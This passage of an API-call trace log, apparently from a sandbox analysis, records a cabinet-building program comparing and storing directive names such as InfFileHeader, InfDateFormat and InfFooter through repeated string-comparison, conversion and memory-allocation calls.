(_Str1="CabinetNameTemplate", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="ClusterSize", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="Compress", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="CompressionType", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="CompressionLevel", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="CompressionMemory", _Str2="FolderSizeThreshold") returned -3 [0151.725] _strcmpi (_Str1="DestinationDir", _Str2="FolderSizeThreshold") returned -2 [0151.725] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderSizeThreshold") returned -2 [0151.725] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderSizeThreshold") returned -2 [0151.725] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderSizeThreshold") returned -2 [0151.725] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="FolderSizeThreshold") returned -13 [0151.725] atoi (_Str="1") returned 1 [0151.725] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="FolderSizeThreshold") returned 19 [0151.725] atoi (_Str="1") returned 1 [0151.725] malloc (_Size=0x38) returned 0x2b5900 [0151.726] _strcmpi (_Str1="Cabinet", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="CabinetNameTemplate", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="ChecksumWidth", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="ClusterSize", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="Compress", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="CompressionType", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="CompressionLevel", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="CompressionMemory", _Str2="GenerateInf") returned -4 [0151.726] _strcmpi (_Str1="DestinationDir", _Str2="GenerateInf") returned -3 [0151.726] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="GenerateInf") returned -3 [0151.726] _strcmpi (_Str1="DiskLabelTemplate", _Str2="GenerateInf") returned -3 [0151.726] _strcmpi (_Str1="DoNotCopyFiles", _Str2="GenerateInf") returned -3 [0151.726] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="GenerateInf") returned -1 [0151.726] _strcmpi (_Str1="FolderSizeThreshold", _Str2="GenerateInf") returned -1 [0151.726] atoi (_Str="1") returned 1 [0151.726] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="GenerateInf") returned 11 [0151.726] atoi (_Str="1") returned 1 [0151.726] malloc (_Size=0x38) returned 0x2b5980 [0151.726] _strcmpi (_Str1="On", _Str2="No") returned 1 [0151.726] _strcmpi (_Str1="On", _Str2="Off") returned 8 [0151.726] _strcmpi (_Str1="On", _Str2="False") returned 9 [0151.726] _strcmpi (_Str1="On", _Str2="Yes") returned -10 [0151.726] _strcmpi (_Str1="On", _Str2="On") returned 0 [0151.726] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetHeader") returned -6 [0151.726] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetHeader") returned -6 [0151.726] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetHeader") returned -6 [0151.726] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetHeader") returned -6 [0151.727] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetHeader") returned -6 [0151.727] _strcmpi (_Str1="Compress", _Str2="InfCabinetHeader") returned -6 [0151.727] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetHeader") returned -6 [0151.727] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetHeader") returned -6 [0151.727] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetHeader") returned -6 [0151.727] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetHeader") returned -6 [0151.727] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetHeader") returned -5 [0151.727] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetHeader") returned -5 [0151.727] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetHeader") returned -5 [0151.727] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetHeader") returned -5 [0151.727] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetHeader") returned -3 [0151.727] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetHeader") returned -3 [0151.727] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetHeader") returned -2 [0151.727] atoi (_Str="1") returned 1 [0151.727] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfCabinetHeader") returned 16 [0151.727] atoi (_Str="1") returned 1 [0151.727] malloc (_Size=0x38) returned 0x2b7800 [0151.727] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="Compress", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetLineFormat") returned -6 [0151.727] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetLineFormat") returned -5 [0151.727] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetLineFormat") returned -5 [0151.727] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetLineFormat") returned -5 [0151.727] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetLineFormat") returned -5 [0151.727] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetLineFormat") returned -3 [0151.728] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetLineFormat") returned -3 [0151.728] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetLineFormat") returned -2 [0151.728] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetLineFormat") returned -4 [0151.728] atoi (_Str="1") returned 1 [0151.728] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfCabinetLineFormat") returned 20 [0151.728] atoi (_Str="1") returned 1 [0151.728] malloc (_Size=0x38) returned 0x2b7840 [0151.728] _strcmpi (_Str1="Cabinet", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="ClusterSize", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="Compress", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="CompressionType", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="CompressionLevel", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="CompressionMemory", _Str2="InfCommentString") returned -6 [0151.728] _strcmpi (_Str1="DestinationDir", _Str2="InfCommentString") returned -5 [0151.728] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCommentString") returned -5 [0151.728] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCommentString") returned -5 [0151.728] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCommentString") returned -5 [0151.728] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCommentString") returned -3 [0151.728] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCommentString") returned -3 [0151.728] _strcmpi (_Str1="GenerateInf", _Str2="InfCommentString") returned -2 [0151.728] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCommentString") returned -14 [0151.728] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCommentString") returned -14 [0151.728] atoi (_Str="1") returned 1 [0151.728] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfCommentString") returned 16 [0151.728] atoi (_Str="1") returned 1 [0151.728] malloc (_Size=0x38) returned 0x2b7880 [0151.728] _strcmpi (_Str1="Cabinet", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="ClusterSize", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="Compress", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="CompressionType", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="CompressionLevel", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="CompressionMemory", _Str2="InfDateFormat") returned -6 [0151.729] _strcmpi (_Str1="DestinationDir", _Str2="InfDateFormat") returned -5 [0151.729] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDateFormat") returned -5 [0151.729] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDateFormat") returned -5 [0151.729] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDateFormat") returned -5 [0151.729] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDateFormat") returned -3 [0151.729] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDateFormat") returned -3 [0151.729] _strcmpi (_Str1="GenerateInf", _Str2="InfDateFormat") returned -2 [0151.729] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDateFormat") returned -1 [0151.729] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDateFormat") returned -1 [0151.729] _strcmpi (_Str1="InfCommentString", _Str2="InfDateFormat") returned -1 [0151.729] atoi (_Str="1") returned 1 [0151.729] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfDateFormat") returned 13 [0151.729] atoi (_Str="1") returned 1 [0151.729] malloc (_Size=0x38) returned 0x2b78c0 [0151.729] _strcmpi (_Str1="mm/dd/yy", _Str2="mm/dd/yy") returned 0 [0151.729] _strcmpi (_Str1="Cabinet", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="Compress", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="CompressionType", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskHeader") returned -6 [0151.729] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskHeader") returned -6 [0151.730] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskHeader") returned -5 [0151.730] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskHeader") returned -5 [0151.730] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskHeader") returned -5 [0151.730] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskHeader") returned -5 [0151.730] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskHeader") returned -3 [0151.730] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskHeader") returned -3 [0151.730] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskHeader") returned -2 [0151.730] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskHeader") returned -1 [0151.730] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskHeader") returned -1 [0151.730] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskHeader") returned -1 [0151.730] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskHeader") returned -8 [0151.730] atoi (_Str="1") returned 1 [0151.730] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfDiskHeader") returned 13 [0151.730] atoi (_Str="1") returned 1 [0151.730] malloc (_Size=0x38) returned 0x2b7900 [0151.730] _strcmpi (_Str1="Cabinet", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="Compress", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="CompressionType", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskLineFormat") returned -6 [0151.730] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskLineFormat") returned -5 [0151.730] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskLineFormat") returned -5 [0151.730] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskLineFormat") returned -5 [0151.730] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskLineFormat") returned -5 [0151.730] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskLineFormat") returned -3 [0151.730] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskLineFormat") returned -3 [0151.730] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskLineFormat") returned -2 [0151.730] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskLineFormat") returned -1 [0151.730] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskLineFormat") returned -1 [0151.730] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskLineFormat") returned -1 [0151.730] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskLineFormat") returned -8 [0151.731] _strcmpi (_Str1="InfDiskHeader", _Str2="InfDiskLineFormat") returned -4 [0151.731] atoi (_Str="1") returned 1 [0151.731] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfDiskLineFormat") returned 17 [0151.731] atoi (_Str="1") returned 1 [0151.731] malloc (_Size=0x38) returned 0x2b7940 [0151.731] _strcmpi (_Str1="Cabinet", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="ClusterSize", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="Compress", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="CompressionType", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileHeader") returned -6 [0151.731] _strcmpi (_Str1="DestinationDir", _Str2="InfFileHeader") returned -5 [0151.731] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileHeader") returned -5 [0151.731] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileHeader") returned -5 [0151.731] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileHeader") returned -5 [0151.731] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileHeader") returned -3 [0151.731] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileHeader") returned -3 [0151.731] _strcmpi (_Str1="GenerateInf", _Str2="InfFileHeader") returned -2 [0151.731] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileHeader") returned -3 [0151.731] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileHeader") returned -3 [0151.731] _strcmpi (_Str1="InfCommentString", _Str2="InfFileHeader") returned -3 [0151.731] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileHeader") returned -2 [0151.731] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileHeader") returned -2 [0151.731] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileHeader") returned -2 [0151.731] atoi (_Str="1") returned 1 [0151.731] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfFileHeader") returned 13 [0151.731] atoi (_Str="1") returned 1 [0151.731] malloc (_Size=0x38) returned 0x2b7980 [0151.732] _strcmpi (_Str1="Cabinet", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="ClusterSize", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="Compress", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="CompressionType", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileLineFormat") returned -6 [0151.732] _strcmpi (_Str1="DestinationDir", _Str2="InfFileLineFormat") returned -5 [0151.732] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileLineFormat") returned -5 [0151.732] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileLineFormat") returned -5 [0151.732] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileLineFormat") returned -5 [0151.732] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileLineFormat") returned -3 [0151.732] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileLineFormat") returned -3 [0151.732] _strcmpi (_Str1="GenerateInf", _Str2="InfFileLineFormat") returned -2 [0151.732] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileLineFormat") returned -3 [0151.732] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileLineFormat") returned -3 [0151.732] _strcmpi (_Str1="InfCommentString", _Str2="InfFileLineFormat") returned -3 [0151.732] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileLineFormat") returned -2 [0151.732] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileLineFormat") returned -2 [0151.732] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileLineFormat") returned -2 [0151.732] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileLineFormat") returned -4 [0151.732] atoi (_Str="1") returned 1 [0151.732] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfFileLineFormat") returned 17 [0151.732] atoi (_Str="1") returned 1 [0151.732] malloc (_Size=0x38) returned 0x2b79c0 [0151.732] _strcmpi (_Str1="Cabinet", _Str2="InfFileName") returned -6 [0151.732] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileName") returned -6 [0151.732] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileName") returned -6 [0151.732] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileName") returned -6 [0151.732] _strcmpi (_Str1="ClusterSize", _Str2="InfFileName") returned -6 [0151.732] _strcmpi (_Str1="Compress", _Str2="InfFileName") returned -6 [0151.732] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileName") returned -6 [0151.733] _strcmpi (_Str1="CompressionType", _Str2="InfFileName") returned -6 [0151.733] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileName") returned -6 [0151.733] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileName") returned -6 [0151.733] _strcmpi (_Str1="DestinationDir", _Str2="InfFileName") returned -5 [0151.733] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileName") returned -5 [0151.733] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileName") returned -5 [0151.733] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileName") returned -5 [0151.733] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileName") returned -3 [0151.733] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileName") returned -3 [0151.733] _strcmpi (_Str1="GenerateInf", _Str2="InfFileName") returned -2 [0151.733] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileName") returned -3 [0151.733] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileName") returned -3 [0151.733] _strcmpi (_Str1="InfCommentString", _Str2="InfFileName") returned -3 [0151.733] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileName") returned -2 [0151.733] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileName") returned -2 [0151.733] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileName") returned -2 [0151.733] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileName") returned -6 [0151.733] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFileName") returned -2 [0151.733] atoi (_Str="1") returned 1 [0151.733] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfFileName") returned 11 [0151.733] atoi (_Str="1") returned 1 [0151.733] malloc (_Size=0x38) returned 0x2b7a00 [0151.733] _strcmpi (_Str1="Cabinet", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="Compress", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="CompressionType", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter") returned -6 [0151.733] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter") returned -5 [0151.734] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter") returned -5 [0151.734] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter") returned -5 [0151.734] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter") returned -5 [0151.734] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter") returned -3 [0151.734] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter") returned -3 [0151.734] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter") returned -2 [0151.734] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter") returned -3 [0151.734] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter") returned -3 [0151.734] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter") returned -3 [0151.734] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter") returned -2 [0151.734] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter") returned -2 [0151.734] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter") returned -2 [0151.734] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter") returned -6 [0151.734] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter") returned -6 [0151.734] _strcmpi (_Str1="InfFileName", _Str2="InfFooter") returned -6 [0151.734] atoi (_Str="1") returned 1 [0151.734] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfFooter") returned 9 [0151.734] atoi (_Str="1") returned 1 [0151.734] malloc (_Size=0x38) returned 0x2b7a40 [0151.734] _strcmpi (_Str1="Cabinet", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="Compress", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="CompressionType", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="CompressionLevel", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="CompressionMemory", _Str2="InfFooter1") returned -6 [0151.734] _strcmpi (_Str1="DestinationDir", _Str2="InfFooter1") returned -5 [0151.734] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFooter1") returned -5 [0151.735] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFooter1") returned -5 [0151.735] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFooter1") returned -5 [0151.735] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFooter1") returned -3 [0151.735] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFooter1") returned -3 [0151.735] _strcmpi (_Str1="GenerateInf", _Str2="InfFooter1") returned -2 [0151.735] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFooter1") returned -3 [0151.735] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFooter1") returned -3 [0151.735] _strcmpi (_Str1="InfCommentString", _Str2="InfFooter1") returned -3 [0151.735] _strcmpi (_Str1="InfDateFormat", _Str2="InfFooter1") returned -2 [0151.735] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFooter1") returned -2 [0151.735] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFooter1") returned -2 [0151.735] _strcmpi (_Str1="InfFileHeader", _Str2="InfFooter1") returned -6 [0151.735] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfFooter1") returned -6 [0151.735] _strcmpi (_Str1="InfFileName", _Str2="InfFooter1") returned -6 [0151.735] _strcmpi (_Str1="InfFooter", _Str2="InfFooter1") returned -49 [0151.735] atoi (_Str="1") returned 1 [0151.735] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfFooter1") returned 10 [0151.735] atoi (_Str="1") returned 1 [0151.735] malloc (_Size=0x38) returned 0x2b7a80 [0151.735] _strcmpi (_Str1="Cabinet", _Str2="InfFooter2") returned -6 [0151.735] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFooter2") returned -6 [0151.735] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFooter2") returned -6 [0151.735] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFooter2") returned -6 [0151.735] _strcmpi (_Str1="ClusterSize", _Str2="InfFooter2") returned -6 [0151.735] _strcmpi (_Str1="Compress", _Str2="InfFooter2") returned -6 [0151.735] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFooter2") returned -6 [0151.735] atoi (_Str="1") returned 1 [0151.735] _vsnprintf (in: _DstBuf=0xdf030, _MaxCount=0x1ff, _Format="%s", _ArgList=0xdef88 | out: _DstBuf="InfFooter2") returned 